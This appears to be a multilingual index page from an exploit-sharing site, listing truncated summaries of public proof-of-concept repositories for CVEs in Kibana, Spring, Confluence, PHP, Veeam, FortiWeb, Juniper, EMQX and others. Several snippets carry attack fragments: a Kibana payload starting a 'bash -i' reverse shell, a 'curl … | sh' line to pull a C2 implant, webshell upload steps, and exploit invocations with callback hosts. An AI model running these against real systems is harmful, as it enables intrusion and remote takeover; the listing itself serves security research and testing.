CVE-2019-0708

CVE-2019-0708 CVE-2019-0708（BlueKeep）の初期エクスプロイト CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free RDPのtermdd.sysドライバは、内部専用チャネルMST120へのバインディングを適切に処理しないため、不正なDisconnect Provider...

CVE-2026-14982

The WP File Download plugin for WordPress (versions ≤ 6.3.4 ) is vulnerable to arbitrary file deletion via insufficient path validation in the delete function. Authenticated attackers with subscriber-level access or above can exploit a two-stage attack : first calling the file.save endpoint to pe...

CVE-2022-25581

CVE-2022-25581 インターネット上でどこを探しても見つからないため、バックアップを残しておきます。Python エクスプロイトスクリプト 。以下の手順を自動的に実行するためのものです： ✅ スクリプトの機能目標 1. バックエンドにログインする（csrf と token を取得する） 2. 悪意のあるリクエストパケットを構築し、圧縮ファイル（webshell を含む）をアップロードする 3. アップロードした webshell にアクセスして制御権限を取得する（GET shell） 🧾 前提条件 対象環境：ClassCMS 2.4 Webサーバー：PHP 5.5 + MySQ...

CVE-2019-7609

CVE-2019-7609 kibana-7609 用の Docker ラボセットアップ 参照 : https://github.com/mpgn/CVE-2019-7609 root@kitploit: Kibana を開く 以下のペイロードのいずれかを Timelion ビジュアライザーに貼り付けます 実行をクリックします 左側のパネルで Canvas をクリックします リバースシェルが起動するはずです! : @securityMB によるペイロード .es.propslabel.proto.env.AAAA='require"childprocess".exec"bash -i &...

CVE-2022-22965_Spring_Core_RCE

Spring-Core-RCE Spring Framework リモートコード実行の脆弱性（CVE-2022-22965） Spring-Core-RCE は、Apache Log4j2 の核弾頭レベルの脆弱性エクスプロイトに匹敵する RCE ワンクリック悪用ツールです。 概要 最近、Spring 公式 GitHub issue で Spring Core のリモートコード実行の脆弱性が言及されました。この脆弱性は Spring フレームワークおよび派生フレームワークに広く存在します。 脆弱性の説明 Spring Core は、Spring シリーズ製品において bean...

pulse-secure-vpn-mitm-research

pulse-secure-vpn-mitm-research Pulse Secure MITM 研究 リリース日 ベンダーとの共同リリース日: 2020年10月26日 著者 David Kierznowski, @withdk クレジット 開示プロセス全体を通じて支援してくれた Pulse Secure PSIRT チームの Sahil Mahajan 氏。 記事「Red Teamer's Guide to Pulse Secure SSL VPN」を執筆した Alyssa Herrera、Justin Wagner、Mimir、Rich Warren 各氏 - Alyssa...

confluence-rce-poc

confluence-rce-poc 为 CVE-2021-26084 Docker 设置 POC 将官方 docker-entrypoint.sh 提供给 postgres，根据需要更改数据库用户名和密码...

pulse-gosecure-rce-poc

pulse-gosecure-rce root@kitploit: /\ \ /\ \ /\ \ /\ \ /\ \ /::\ \ /::\ /::\ /::\ \ /::\ \ /::::\ \ /:::/ / /:::/ / /::::\ \ /::::\ \ /::::::\ \ /:::/ / /:::/ / /::::::\ \ /::::::\ \ /:::/:::\ \ /:::/ / /:::/ / /:::/:::\ \ /:::/:::\ \ /:::/:::\ \ /:::/ / /:::/ / /:::/:::\ \ /:::/:::\ ...

CVE-2023-46404

CVE-2023-46404 PCRS は、トロント大学で開発されたオンラインプログラミング演習のためのウェブアプリケーションです。 Bitbucket リポジトリ: https://bitbucket.org/utmandrew/pcrs/src/3.11/ 概要 PCRS のコード提出機能を持つ「Questions」ページと「Code editor」ページは、Python サンドボックスをエスケープすることによりリモートコード実行 RCE に対して脆弱です。 詳細 PCRS インスタンスでは、ジェネレータオブジェクトを使用してリモートコード実行が可能です。ジェネレータフレーム...

HG532d-RCE-Exploit

HG532d RCE エクスプロイト 概要 脆弱性CVE-2017-17215に基づくリモートコード実行（RCE）エクスプロイトです。exploit-db.comの元のPoCコードから改造し、Huawei HG532d ホームゲートウェイルーターで動作するようにしました。 説明 このRCEエクスプロイトはCVE-2017-17215に基づいており、Huawei HG532シリーズのホームルーターで動作するUPnPプロセスの脆弱性を悪用します。exploit-db.comの元のエクスプロイトはHG532ホームルーターを対象としています。 このエクスプロイトは、HTTP...

CVE-2024-4577

これは CVE 2024-4577 の POC です このエクスプロイトにより、攻撃者は RCE を実行できます PHP 8.3 8.3.8 PHP 8.2 8.2.20 PHP 8.1 8.1.29 のようなPHPバージョン 引数はコードから確認できます！ この特定のエクスプロイトの詳細については、nist.gov を確認してください。...

CVE-2022-26134-Confluence-RCE

CVE-2022-26134 用エクスプロイト: OGNL インジェクションを介した Confluence の事前認証リモートコード実行 OGNL 界隈のもう一つのエクスプロイト 説明 Confluence は、オーストラリアのソフトウェア企業 Atlassian によって開発された Web ベースの企業向け Wiki です。 2022 年 6 月 2 日、Atlassian は Confluence Server および Data Center アプリケーション向けのセキュリティアドバイザリを公開し、重大度が critical の未認証リモートコード実行の脆弱性を強調しました。この...

CVE-2020-27955-LFS-main

Git-lfs 远程代码执行（RCE）漏洞利用 CVE-2020-27955（.bat / powershell 版本） 受影响：git、GitHub CLI gh、GitHub Desktop、Visual Studio Code、SourceTree、SmartGit、GitKraken 等。 发现者：Dawid Golunski https://legalhackers.com https://exploitbox.io 已在 Windows 上测试： git、GitHub CLI gh、GitHub Desktop、Visual Studio...

CVE-2023-24489-poc

CVE-2023-24489-poc 使用 bash 实现的 CVE-2023-24489 的 POC。 它需要一个包含要测试的目标列表的 target.txt 文件，格式如下： https://example1.com https://example2.com https://example3.com 该文件必须与 bash 脚本位于同一目录下。 请谨慎使用！ 参考资料：https://blog.assetnote.io/2023/07/04/citrix-sharefile-rce/...

CVE-2025-52136

CVE-2025-52136 root@kitploit: https://github.com/ricardojoserf/emqx-RCE 原利用方式通过上传emqx插件，在插件模板的代码中添加Erlang os模块调用系统命令执行RCE 出网环境，环境默认存在curl，可以直接通过curl http://xx.xx.xx.xx/1.sh | sh上线C2 目标不出网时，由于EMQX本身即为MQTT消息服务器，因此可以直接配合插件上传，在EMQX服务器执行上传的可执行程序...

CVE-2026-22812-POC

Explotador OpenCode CVE-2026-22812 Herramientas Python simples para verificar y explotar la vulnerabilidad de OpenCode CVE-2026-22812. Instalación root@kitploit: git clone https://github.com/CayberMods/CVE-2026-22812-POC.git cd CVE-2026-22812-POC pip install requests urllib3 argparse...

watchTowr-vs-FortiWeb-CVE-2025-25257

watchTowr-vs-FortiWeb-CVE-2025-25257 FortiWeb CVE-2025-25257 用検出アーティファクト生成ツール 技術的な詳細については、ブログ記事 を参照してください。 https://github.com/user-attachments/assets/e59f2b3b-2b9b-469f-b4a8-2b7df2ede194 実行例 root@kitploit: python watchTowr-vs-FortiWeb-CVE-2025-25257.py --target https://192.168.8.30/ --lhost...

juniper-rce_cve-2023-36844

CVE-2023-36844 , CVE-2023-36845 , CVE-2023-36846 , CVE-2023-36847 CVE CVE-2023-36844, CVE-2023-36845, CVE-2023-36846, CVE-2023-36847 を連鎖させ、Juniper JunOSのSRXおよびEXシリーズ製品でリモートコード実行を実現するための概念実証（PoC）を @watchTowr が開発しました。 セキュリティ研究については watchTowr Labs チームをフォローしてください https://labs.watchtowr.com/...

CVE-2024-4577

CVE-2024-4577 由 @watchTowr 开发的概念验证，利用 PHP CGI 参数注入漏洞（CVE-2024-4577），在运行于 Windows 环境中的易受攻击的 PHP 版本上实现 RCE。此漏洞的详细技术分析 Orange Tsi 🍊 此漏洞由 DEVCORE @d3vc0r3 的 Orange Tsai @orange8361 发现。请务必关注他的杰出研究，我们的角色仅是复现并为此漏洞开发利用程序。 PoC || GTFO root@kitploit: python watchTowr-vs-phpcve-2024-4577.py -c "" -t...

CVE-2024-40711

CVE-2024-40711 Veeam backup and Replication の事前認証デシリアライゼーション CVE-2024-40711 のエクスプロイト 技術的な詳細については、ブログ記事 を参照してください。 https://github.com/user-attachments/assets/24e8122c-3e84-408b-87a9-684a9aabeb70 PoCの動作 root@kitploit: CVE-2024-40711.exe -f binaryformatter -g Veeam -c http://192.168.201.1:8000/trigg...